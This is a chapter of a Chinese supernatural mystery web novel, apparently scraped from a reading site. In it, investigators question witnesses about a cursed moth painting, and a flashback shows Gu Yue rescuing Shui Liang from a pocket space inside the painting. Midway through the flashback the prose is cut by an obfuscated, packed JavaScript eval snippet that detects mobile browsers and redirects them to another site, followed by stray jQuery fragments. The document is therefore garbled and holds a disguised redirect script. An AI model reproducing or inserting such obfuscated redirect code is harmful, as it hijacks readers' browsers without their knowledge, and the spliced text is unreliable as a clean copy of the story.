63. 异空间?
作品:《活死人也要和养弟做恨么》 安排完这边,韩梅揉了揉太阳穴,只觉得头大,凶杀案、失踪案、诡异的古画,线索纷乱如麻。
不过她始终相信,再离奇的表象背后,推动的手依然是“人”。
画再古怪,也是人造的,是人拿走的,是人用来达到某种目的的“工具”。
林晚家狭窄的客厅里,空气凝滞,林晚坐在旧沙发的一角,双手紧紧攥着,身体因恐惧和焦虑而微微发抖。
辜月安静地坐在她旁边,背脊挺直,脸上没有任何表情,仿佛一尊没有情绪起伏的雕像,将周围的紧张不安隔绝在外。
韩梅的目光在辜月身上停留片刻,然后示意一名女警员继续安抚和询问林晚关于短信等细节,她自己则搬了把椅子,在辜月对面坐下。
“辜月,”韩梅开门见山,声音压得很低,确保林晚听不清,“我知道你……和一般人不一样。以你的角度,你在这里,或者在这件事里,有没有看到需要你处理的东西?所谓的‘残局’?”
辜月抬起眼,目光平静地迎上韩梅锐利的审视,然后,很轻微地摇了摇头。
“没有?”韩梅追问,“沈宅死了人,沈明昊和林朝失踪得诡异,这都不算?”
“目前,没有我的残局。”辜月的声音平淡无波,陈述着事实。
现在地府尚未将沈宅事件定性并下发给她,她此刻的介入,更多是基于对林晚的观察任务以及对水亮求救的回应。
韩梅看着她那双过于平静的眼睛,知道问不出更多,便不再纠缠,转而将注意力投向另一边。
她走向依旧惶惶不安的林晚,语气放缓了些:“林晚,你哥哥的事我们一定会全力调查。你先在家里好好休息,哪里也别去,保持手机畅通,想起任何线索随时联系我们。我们也会派人留意你家附近,确保你的安全。”这既是安抚,也是必要的监控。
林晚红着眼睛点了点头。
与此同时,裴送青已将水亮引到了阳台上,这里相对隔绝了客厅的声音。
“水师傅,”裴送青的声音听不出情绪,却带着十大家家主特有的压迫感,“明人不说暗话。沈明昊找你看的画,内容是不是与‘蛾’有关?”
水亮知道,在裴送青面前装傻充愣毫无意义,反而可能引火烧身,他脸上那层圆滑的笑容淡去,露出底下精明的本质,同样压低声音:“是。画的是某种昆虫翅膀纹路,极其诡异。沈三少想知道画的价值和‘特别之处’。我看出那画不祥,沾染了非人之物的执念,本想推掉,但他给的价钱实在……”
“你研究了那幅画。”裴送青打断他,语气肯定,“那么后面有没有出事?有出现什么情况?”
他盯着水亮,眼神锐利,一个接触了那种明显“不对劲”物件、又自称懂行的人,裴送青绝不相信他会安然无恙,仅仅是“感觉不舒服”就收手。
水亮在那目光下无所遁形,他知道面对裴送青,再隐瞒就是自讨没趣,甚至可能招致不必要的怀疑。
他深吸一口冰冷的空气,压低了声音,这次说得更加直白:“裴少主慧眼。我……确实不止是‘研究’。那画邪门的很,与其说它是画,不如说是个……媒介,我试图感知它的时候,一个不留神,自己就被扯进去了。”
“扯进去?”裴送青眼神一凝。
“对。”水亮脸上浮现出后怕。
“里面是另一个地方。黑黢黢的,什么也看不见也动不了,自己在里面像是被黑暗吞噬一样,感官知觉都在一点点地剥离。而且......我可以感受到自己在被拖拽,周围是丝线缠绕的感觉。”
“异空间?”裴送青迅速理解了这个概念,这与地府旧档中关于某些强烈执念或特殊器物可能扭曲空间、形成“界”或“域”的记载相符。
“可以这么理解。”水亮点头,神情凝重。
“那绝不是活人该待的地方。待久了会怎样,我不敢想。”水亮这话暗示了沈明昊和林朝可能的处境。
“那你是怎么出来的?”裴送青追问,这是关键中的关键,如果那空间能困人,水亮的脱身之法可能就是线索,甚至可能是救命之法。
水亮闻言,沉默了一下,他没有立刻回答,而是将目光缓缓转向阳台玻璃门内,落在了客厅里那个静静坐在林晚身旁的身影上。
他的眼神复杂,混杂着余悸、忌惮,以及一丝庆幸。他没有说话,但这个无声的动作和眼神,已经说明了一切。
裴送青顺着他的目光看去,看到了辜月平静的侧脸,他瞬间明白了。
是辜月,除了她,还有谁有这个能力。
昨夜,红烛将尽,火苗微弱地跳动,将两幅诡异画作之间无数飘荡连接的灰白丝线映照得忽明忽灭。
水亮的气息微弱地缠绕在丝线之间,他本人困在异空间里,意识清醒,却无法动弹,也无法发声,只能眼睁睁看着那些丝线缓缓收紧,更深处传来令人毛骨悚然的摩擦声。
就在这时,辜月走了进来伸出手指,触碰了最近的一缕丝线。
“嗡——”
仿佛捅了马蜂窝,原本缓慢飘荡的丝线骤然疯狂舞动,无数细小的、灰白色的飞蛾虚影从丝线中、从两幅画的深处密密麻麻地涌出,朝着辜月劈头盖脸地扑去。
然而,这些飞蛾虚影在距离辜月身体寸许之地,便像是撞上了一层无形的屏障,发出细微的声响,纷纷溃散,化作更细微的灰烬飘落,没有一只能够真正触及她。
辜月收回手,对那些消散的飞蛾视若无睹,她转向左边那幅翅膀纹路画,伸出手掌,虚按在画面前方。
画中的纹路骤然蠕动起来,变得更加密集扭曲,一股更强烈的阴冷吸力从中传来,仿佛要将人的灵魂都拖入那片无尽的黑暗空间之中,画里的丝线也疯狂地向辜月缠绕过来,但在接近时同样无力地崩解。
辜月的手稳稳地停在那里,片刻后,她摇了摇头,像是确认了什么。
不是这里。
她转向右边那幅复眼口器画,这一次,画中那些细密的“眼睛”仿佛同时转动,聚焦在她身上,中心的黑暗口器阴影扩张,发出无声的尖啸,贪婪的吞噬感比左边更甚,更多的灰蛾涌出,丝线也试图结成更粗的绳索,依旧无效。
辜月再次摇头。
她的目光终于落在了角落小供桌上,那支稳定燃烧、为水亮维持着一线生机的红烛上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121492|188502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烛光映在她漆黑的眸子里,微微跳跃。
辜月走到供桌前,伸出手,不是去拿蜡烛,而是直接用拇指和食指的指尖,探入了那朵橘黄色的火苗中心,轻轻巧巧地从燃烧的烛芯上,“掐”下了一小粒黄豆大小、凝实而明亮的火光,捏在指尖,烛火本身并未熄灭,只是微微晃动了一下。
紧接着,她另一只手不知如何动作,暗红色的判官印重现在她的手背上。
她将指尖那粒烛火,轻轻按在了判官印的印面中央。
“呼!”
青白色的火焰,瞬间从判官印上窜起,一瞬间火焰席卷她的整个左手,将辜月半张脸映照得一片冷白,也将周围飘荡的灰白丝线逼退了几分,丝线发出被灼烧的“滋滋”声。
辜月抬眸望向房间中相互交织、藕断丝连的丝线,毫不犹豫地将其按向两幅画之间,也就是丝线最密集的地方。
“嗤啦”一声,只见两画之际一股无形的屏障被强行撕开。
青白火焰灼烧之处,一个边缘不规则,内部不断蠕动翻滚着更浓重灰雾和无数蛾影的“洞口”被强行撑开,洞口深处,隐约可见水亮僵硬的身影被无数“看不见”的丝线缠绕。
洞口出现的瞬间,恐怖的吸力从内爆发,夹杂着仿佛无数飞蛾同时振翅的尖锐嘶鸣,整个里间的物品都在微微震颤,更多的灰蛾虚影疯狂涌出,扑向辜月和那青白的火焰,又在触及的瞬间湮灭。
辜月望着里面全身僵硬且毫无反应的水亮,默默叹了口气,那只带有判官印的手臂稳如磐石,青白火焰稳定地灼烧着洞口边缘,阻止其闭合,然后她空着的右手伸进洞口,精准地抓住了水亮的衣领。
用力一扯。
水亮只觉得一股无可抗拒的力量传来,缠绕他的丝线根根崩断,周围的灰雾和蛾影尖啸着后退,下一刻,他眼前一花,屁股重重砸在里间冰冷的地面上,大口喘着气,回到了现实世界。
那个被强行撑开的诡异洞口在失去力量支撑后,如同幻影般扭曲弥合,最终消失不见,只留下空气中尚未散尽的灰烬味道和微微的焦糊气。
两幅画依旧挂在墙上,红烛依旧燃烧,仿佛刚才那惊心动魄的一幕从未发生。
只有辜月指尖那一点取自烛火的微光早已消散,以及她身上那股亘古不变的平静,证明着一切真实不虚。
水亮惊魂未定地抬头,只见辜月已经收回了手,青白火焰熄灭,从他的视角看过去,入眼的第一幕是在皮肤下自行燃烧的暗红判官印。
这是水亮人生第一次如此近距离地看见判官印,以至于有片刻的失神,还有后怕与忌惮。
他入行得的第一个教训就是谨慎,所以往后处理案子他都留个心眼,给自己留了条后路,而这一次同样留了条后路——就是那盏红烛。
但是水亮万万没想到,这一桩案子的棘手程度远超他的能力范围,在空间里感官一点点被剥离,只能眼睁睁看着自己被吞噬,就算那盏红烛是后路,没有足够的实力,后路也是死路。
水亮缓缓抬起头,只见辜月那双没有情绪的眼睛注视着他。
辜月低头看着瘫坐在地的水亮,平淡地说:“能走吗?”

